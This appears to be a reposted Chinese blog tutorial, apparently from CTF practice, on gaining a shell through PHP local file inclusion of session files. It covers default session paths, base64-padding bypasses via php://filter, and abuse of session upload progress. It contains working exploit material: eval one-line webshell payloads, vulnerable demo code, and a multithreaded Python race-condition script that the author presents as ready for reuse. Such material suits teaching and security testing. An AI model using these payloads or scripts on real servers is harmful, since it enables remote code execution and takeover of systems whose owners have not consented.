浅谈利用session绕过getshell
在前些时间,国赛上再一次遇到了服务器本地文件包含session
的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session
来getshell
往往还需要一些特殊的方法,借此机会,研究一番。
本文涉及相关实验:文件包含漏洞-中级篇 (本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)
基础知识
PHP SESSION的存储
SESSION会话存储方式
在Java
中,用户的session是存储在内存中的,而在PHP
中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini
里面设置session
的存储位置session.save_path
在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session
文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell
,因此总结常见的php-session
的默认存储位置是很有必要的
默认路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
session
文件的存储路径是分为两种情况的一是没有权限,默认存储在
/var/lib/php/sessions/
目录下,文件名为sess_[phpsessid]
,而phpsessid
在发送的请求的cookie
字段中可以看到(一般在利用漏洞时我们自己设置phpsessid
)二是
phpmyadmin
,这时的session
文件存储在/tmp
目录下,需要在php.ini
里把session.auto_start
置为1,把session.save_path
目录设置为/tmp
与 SESSION 有关的几个 PHP 选项
session.serialize_handler
-
一是
php
,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php
这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储 -
二是
session.serialize_handler=php_serialize
,这种处理模式在PHP 5.5
后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储 -
三是
php_binary
,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx
等这里就不展开赘述了
对比上面session.serialize_handler
的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
session.auto_start
默认是off
状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()
。
session.use_strict_mode
默认是0
,此时用户是可以自己定义Session ID
的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
因为sessid
的可控,我们很容易借此达到我们getshell
的目的,但是我们还存在session.upload_progress.cleanup
session.upload_progress.cleanup
默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传
session.upload_progress.enabled
默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出
Session Upload Progress
Session Upload Progress
即 Session 上传进度,是php>=5.4
后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled
选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST
请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在 $_SESSION
中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION
中添加一组数据,索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini\_get("session.upload\_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
此时在session中存放的数据看上去是这样子的:
<?php $\_SESSION\["upload\_progress_123"\] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the <input/> field 上传区域 // The following 3 elements equals those in $_FILES "name" => "foo.avi", // 上传文件名 "tmp_name" => "/tmp/phpxxxxxx", // 上传后在服务端的临时文件名 "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) ); ## LFI漏洞 LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。 我们这里重点讲的是针对`LFI Session`文件包含,我们可以简单理解成以为配置的原因,用户可以控制`session`文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个`session`文件达到攻击效果,在下面,我会演示一下大概流程 ### 演示代码 #### session.php <?php session_start(); $username = $_POST\['username'\]; $_SESSION\["username"\] = $username; ?>
index.php
<?php $file = $_GET\['file'\]; include($file); ?>
payload
分析session.php
可以看到用户会话信息username
的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
我们传入
username=Abc
我们看到,系统给我们初始了一个sess_ID
可以看出我们可以对username
进行控制,那么假如我们传入的是一句话木马呢
username=<?php eval($_REQUEST\['Abc'\]);?>
一句话马传入了,我们试试是不是真的可以像我们想的那样执行
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()
进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含
下面,我们来讲一讲怎么绕过这些限制
Session Base64Encode
很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。
demo
session.php
<?php session_start(); $username = $_POST\['username'\]; $\_SESSION\['username'\] = base64\_encode($username); echo "username -> $username"; ?>
index.php
<?php $file = $_GET\['file'\]; include($file); ?>
exp
按照我们的一般套路注入
我们可以发现我们包含的session被编码了,导致LFI -> session失败。
在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter
就可以利用上了。(其他编码同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92
吼,无法解码!
这是为什么,来来来我们再仔细看看session文件内容
username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了吗,这里并不是只有base64密文,还有username|s:44:"
这一段非base64的字符串,编码与解码不对应,当然无法解码
那么我们有什么方法解决吗
首先我们先来了解一下base64编码的特点
-
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
-
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
-
由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
-
一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST\['Abc'\]);?>
符合,我们重新传参看看
执行成功
注:这是在session.serialize_handler=php
配置下执行成功的,在其他配置下也是同样的原理
No session_start()
一般情况下,session_start()
作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢
还记得我们上面说过的Session Upload Progress
吗?
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——WHOAMIBunny
session中一部分数据(session.upload_progress.name
)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc
(默认情况下由于session.use_strict_mode=0
用户可以自定义Session ID
),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS
,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID
,所以session文件会自动创建且可控
但又由于session.upload_progress.cleanup = on
这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用
import io import requests import threading sessid = 'SsBNMsssSssssL' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var\_dump(scandir("/etc"));?>'}, files={'file': ('a.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: data={ 'filed':'', 'cf':'../../../../../../var/lib/php/sessions/eadhacfafh/sess_'+sessid } resp = session.post('http://192.168.43.82/index.php',data=data) if 'a.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
国赛的脚本,改下payload即可

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
毕昇 JDK:为啥是ARM 上超好用的 JDK
摘要:毕昇 JDK 是华为基于 OpenJDK 定制的开源版本,是一款高性能、可用于生产环境的 OpenJDK 发行版。 本文分享自华为云社区《【云驻共创】毕昇 JDK:“传奇再现”华为如何打造 ARM 上最好用的 JDK?》,原文作者:白鹿第一帅。 前言 不知道大家是否听说过亦或是使用过毕昇 JDK,是否从事 Java 工作?是否从事 JVM 底层开发?绝大多数 Java 开发者使用的都是 Oracle 的 JDK 或者是 OpenJDK,本文我们将介绍华为的毕昇 JDK 以及我们所做的相关技术优化,希望能在除上述两者之外提供给大家新的选择。 一、什么是毕昇 JDK? 1.1、毕昇 JDK 发展历程 毕昇 JDK 是华为基于 OpenJDK 定制的开源版本,是一款高性能、可用于生产环境的 OpenJDK 发行版。稳定运行在华为内部 500 多个产品上,在华为内部广泛使用毕昇 JDK,团队积累了丰富的开发经验,解决了实际业务运行中遇到的多个疑难问题。如 crash 等相关问题,我们已经在内部解决。 1.2、毕昇 JDK 的支持架构 目前仅支持 Linux/AArch64 架构。欢迎广...
- 下一篇
揭秘 AnolisOS 国密生态,想要看懂这一篇就够了
此文原系 2021 年阿里云开发者大会,开源操作系统社区和生态分论坛,题为《国密技术开发与实践》的分享会后解读。 AnolisOS 国密是社区在 AnolisOS 上做的国密技术解决方案,非常欢迎业界有兴趣的开发者能够参与到 OpenAnolis 社区,为国内的基础软件生态添砖加瓦。 演讲嘉宾: 杨洋:蚂蚁集团高级技术专家,主导开发了 BabaSSL,也是国内唯一的一个 OpenSSL maintainer,参与起草并推动 RFC8998 标准国际化。 张天佳:阿里云技术专家,主要负责 AnolisOS 上国密技术的开发和应用,参与实现了 libgcrypt 中的国密算法和 linux 内核中的 SM2 算法。 让我们穿越回现场: 缘起 说到密码算法,大家一定很熟悉 MD5,AES,RSA 这些通用的国际标准算法,这也是目前我们普遍采用的密码学算法,它们在数据安全、通信、区块链等众多领域都有着广泛的应用。 众所周知,这些算法标准都是国外制定的,在某些情况下这会对国内信息安全有不利影响。当下有实力的国家,甚至有些大公司都制定了自己的算法标准。 顾名思义,国密就是密码算法的国产化,跟其它领...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- 设置Eclipse缩进为4个空格,增强代码规范
- Hadoop3单机部署,实现最简伪集群
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- 2048小游戏-低调大师作品
- CentOS6,CentOS7官方镜像安装Oracle11G
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池